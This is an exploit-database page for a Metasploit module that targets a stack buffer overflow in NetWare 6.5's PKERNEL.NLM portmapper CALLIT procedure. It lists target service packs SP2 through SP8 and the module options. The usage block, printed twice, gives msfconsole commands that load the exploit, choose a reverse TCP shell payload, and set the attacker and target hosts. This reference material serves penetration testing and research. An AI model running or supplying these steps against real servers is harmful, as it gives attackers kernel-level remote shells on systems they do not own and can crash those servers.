NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by default on all NetWare servers to support NFS. The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can cause the operating system to reboot.
Exploit Rank
- Good
Exploit Authors
- pahtzo < >
Vulnerability References
Exploit Targets
- 0 - NetWare 6.5 SP2
- 1 - NetWare 6.5 SP3
- 2 - NetWare 6.5 SP4
- 3 - NetWare 6.5 SP5
- 4 - NetWare 6.5 SP6
- 5 - NetWare 6.5 SP7
- 6 - NetWare 6.5 SP8
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/netware/sunrpc/pkernel_callit
msf exploit(pkernel_callit) > show payloads
msf exploit(pkernel_callit) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(pkernel_callit) > set LHOST [MY IP ADDRESS]
msf exploit(pkernel_callit) > set RHOST [TARGET IP]
msf exploit(pkernel_callit) > show targets
msf exploit(pkernel_callit) > set TARGET [TARGET ID]
msf exploit(pkernel_callit) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/netware/sunrpc/pkernel_callit
msf exploit(pkernel_callit) > show payloads
msf exploit(pkernel_callit) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(pkernel_callit) > set LHOST [MY IP ADDRESS]
msf exploit(pkernel_callit) > set RHOST [TARGET IP]
msf exploit(pkernel_callit) > show targets
msf exploit(pkernel_callit) > set TARGET [TARGET ID]
msf exploit(pkernel_callit) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 111) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
